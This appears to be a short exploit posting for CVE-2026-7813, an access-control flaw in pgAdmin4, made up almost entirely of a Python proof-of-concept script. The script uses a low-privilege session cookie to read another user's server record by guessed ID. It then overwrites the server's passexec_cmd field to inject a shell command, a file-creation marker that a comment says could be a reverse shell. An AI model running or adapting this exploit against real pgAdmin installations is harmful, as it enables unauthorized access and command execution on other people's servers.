CVE-2026-7813 pgAdmin4 访问控制失效漏洞

import requests # Configuration target_url = "http://target-pgadmin.com" attacker_session_cookie = "sessionid_of_low_priv_user" target_server_id = 5 # Guessed or leaked ID of another user's server headers = { "Cookie": f"pga4_session={attacker_session_cookie}", "Content-Type": "application/json" } # Step 1: Access another user's server details (IDOR) get_url = f"{target_url}/api/server/{target_server_id}" response = requests.get(get_url, headers=headers) print(f"[+] Accessing Server ID {target_server_id}:") print(response.text) # Step 2: Exploit privilege escalation via passexec_cmd # The passexec_cmd allows executing a shell command when the connection is established. # We inject a command to create a file or reverse shell. malicious_cmd = "touch /tmp/pwned_by_cve_2026_7813" put_url = f"{target_url}/api/server/{target_server_id}" payload = { "passexec_cmd": malicious_cmd, "description": "Pwned via CVE-2026-7813" } response = requests.put(put_url, json=payload, headers=headers) print(f"[+] Modifying passexec_cmd. Status: {response.status_code}") if response.status_code == 200: print("[!] Exploit successful. Malicious command injected.") else: print("[-] Exploit failed.")